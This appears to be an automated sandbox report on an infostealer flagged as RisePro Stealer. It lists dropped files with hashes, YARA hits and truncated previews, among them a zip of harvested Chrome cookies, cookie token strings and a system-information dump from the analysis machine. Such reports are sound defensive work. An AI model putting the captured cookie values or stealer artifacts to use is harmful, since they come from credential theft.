Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 43%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R..n3.@n3.@n3.@5[.A`3.@5[.A.3.@.^.A\|3.@.^.Az3.@.^.A.3.@5[.Az3.@5[.A}3.@n3.@.3.@.].Ao3.@.]u@o3.@.].Ao3.@Richn3.@........................PE..L......e.............................PK...........@...........................K.....Ja....@.................................Vp..j....`.......................;K..............................;K..................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... ...........................@...fbupybke.....@1.....................@...ejxqaids.....@K.....................@....taggant.0...PK.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\L6h0MKsU674R9uRTEifr_26.zip

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	modified
Size (bytes):	3013
Entropy (8bit):	7.737963653983917
Encrypted:	false
SSDEEP:	48:9g6aElnPtLe9jkXHLjj4zvn+ReEtcP4APVJCrG4wsDV0oNdHgogmszW0AWmGn3KC:XhijkXHL0n+Reisf4DDCoHNzQxAWr3KC
MD5:	EFB4F1B5314E7071FAF77E4FFE620625
SHA1:	B6972DE71D877F44A8627CEEC4A67EE983671796
SHA-256:	B096B7652FB5D41899FB414E4A1994B5663AB231F17D9BA5227DF1B6E7AA42FD
SHA-512:	083B633F204837AEAB3993869D9AD509B5F47D2AEA9C4FFEBBF1D07289E49E6B096BA1AE83CFD8548A0A33B0EEBC496D8CDB8408679BE3466B53C548D1E8703D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\L6h0MKsU674R9uRTEifr_26.zip, Author: Joe Security
Reputation:	unknown
Preview:	PK...........X................Cookies\..PK...........X........$.......Cookies\Chrome_Default.txt....P...5.........`.L2J1l..\@.k.D..M'.t.k[Op...k...=..#T......?T...y..8.!(.h.>....o?.E.<.....EvWV.A....r,.4..\|...u..<..4..T..w..1....._V..a..jZ....qcY..:.T.I.................l9.u..M.n.Q.W..Y3..".i...N.....;.n....t..].\|-8\|....W..v.....If&xA,}.`+5~.....Yx-..3..><9.]K.)..in.. .H=.@..FEH.a..<...0.j...t.J,=>6..z.k.x...N...f.R.+.Y...~i.I..4.....p.Wm...5j.................tI..t.o..E....PK...........Xm...>...>.......information.txt.Y[O.J.~.........w.yZ.0C.Lv"..t`....,.;.v..j....1..#J.)....W....6.1YdQ.=..?MY.E>&......sT.1.R..dS...*.<...p..`...in...$4L..G.....9.-.d1R.2...EB.p.....o$D..IG...1cFA.Q@..K.....pp~.p.K..i$.B+.t...d...,.&i.G...L.w.X.....f..s&....<...(......x\|.e."..N6...{.G..Yo.X......l.....6..I.<..............?.I.Ey....M...d[..4..1...4O..jL.?....&.OZ.g8....6%.w....a..'.7?..}..q=.....rk8.).6Y.\....%...A.^..G.j..`..G.......(.2yY....U.V...:Ok..oi.J..1.

C:\Users\user\AppData\Local\Temp\_Files_\BJZFPPWAPT.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Reputation:	unknown
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\Temp\_Files_\BJZFPPWAPT.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Reputation:	unknown
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\Temp\_Files_\DUUDTUBZFW.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Reputation:	unknown
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\Temp\_Files_\GRXZDKKVDB.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Reputation:	unknown
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\Temp\_Files_\PALRGUCVEH.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Reputation:	unknown
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\Temp\_Files_\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Reputation:	unknown
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xxqvxcx.a0c.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bopvykdd.oof.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ir3hvxn4.n1i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rvypm1z1.fpp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\adobebQmh7W1i7Wir\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	5.999391385907715
Encrypted:	false
SSDEEP:	12:copYxSlufq7gCx7Fbyr4rOSlTfJJADr6HDsZQZ7gC6:KauS79Gr4iSllJALQZ7c
MD5:	06ED2CD304730F55A5C7001509E128BE
SHA1:	49651485B2CE3D239172BD52BF5A265AB3EB8E18
SHA-256:	66851B5AA77B3DEE71B842F53D4E30F664F5A08F9754B9E87B323871981516A4
SHA-512:	0163A8537DE695D34865EEB9C872F15A1827644D8797344A2D36E776F174E5901E77AA560488B0D7D7359B3648614F818B85A7D51F59CCDF2831B5715F5A9334
Malicious:	false
Reputation:	unknown
Preview:	.google.com.FALSE./.TRUE.1699018815.1P_JAR.ENC893_djEwmUj/dRHWNmfhbTB/w+u3HcpAF49UGcxvovgmz9ye9OQyJO9KCFHkRm8=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=...google.com.TRUE./.TRUE.1712238015.NID.ENC893_djEwFCqquAx+Q1mLxpuZeEBJZSgzAt4Ngo/HHXcYPxMGINXG0MJzCe/y7m5VzpUyfsA6ingOdNobTvWP/YbKYpzg64nmGlCjRU9RpPIjDAuAxGlp5MTMUaOP4iC8aSCuijjqDE5gAdZQ5Jgb0/uEAZ4ssWGDsxXJbqpGbi04viYfPDhBfQ9XKXznqtHW/weYlNZJIGlKZBsCWoEIKfuL56VHKaBt04gLO/XK1/P3nHsp6pSc1x1uk1RRK7hSYUjCY5G/hcpBBjFv74dICDI=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=..

C:\Users\user\AppData\Local\Temp\adobebQmh7W1i7Wir\information.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	7441
Entropy (8bit):	5.368477939782725
Encrypted:	false
SSDEEP:	96:xf8WZRS2c2KBhA6tsxODsG6v0K1U5PFmXkW+YbANUbg3x:xR82X6tsxPDt1oNm0W/4B
MD5:	BC77DAAE5AAB8981DB1DB85E55DEBB7B
SHA1:	7E62FA700530FD13FB37FCEF69637CD76DC8AD93
SHA-256:	80DC1759862878294C65192F3FBD0A0F03303D910D53332810140CC3731CE4EB
SHA-512:	68D6D14FEF0815BB73CFBC39531551675AACCDAADB82FF4E6EED0EE4D059A6EF6BD84D0108771A60B86510D3E000B3AE4713A661BC0C9DE61F08F1C39118FE1B
Malicious:	false
Reputation:	unknown
Preview:	Build: bladak..Version: 1.9....Date: Fri Apr 19 03:29:31 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: cfeb70a35b65616976a5684cd81effed....Path: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe..Work Dir: C:\Users\user\AppData\Local\Temp\adobebQmh7W1i7Wir....IP: 81.181.57.52..Location: US, Atlanta..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 899552 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 19/4/2024 3:29:31..TimeZone: UTC1....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [332]..csrss.exe [420]..wininit.exe [496]..csrss.exe [504]..winlogon.exe [564]..services.exe [632]..lsass.exe [640]..svchost.exe [752]..fontdrvhost.exe [7

C:\Users\user\AppData\Local\Temp\adobebQmh7W1i7Wir\passwords.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\adobevqkoBMIvF7c3\Cookies\Chrome_Default.txt

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	5.999391385907715
Encrypted:	false
SSDEEP:	12:copYxSlufq7gCx7Fbyr4rOSlTfJJADr6HDsZQZ7gC6:KauS79Gr4iSllJALQZ7c
MD5:	06ED2CD304730F55A5C7001509E128BE
SHA1:	49651485B2CE3D239172BD52BF5A265AB3EB8E18
SHA-256:	66851B5AA77B3DEE71B842F53D4E30F664F5A08F9754B9E87B323871981516A4
SHA-512:	0163A8537DE695D34865EEB9C872F15A1827644D8797344A2D36E776F174E5901E77AA560488B0D7D7359B3648614F818B85A7D51F59CCDF2831B5715F5A9334
Malicious:	false
Reputation:	unknown
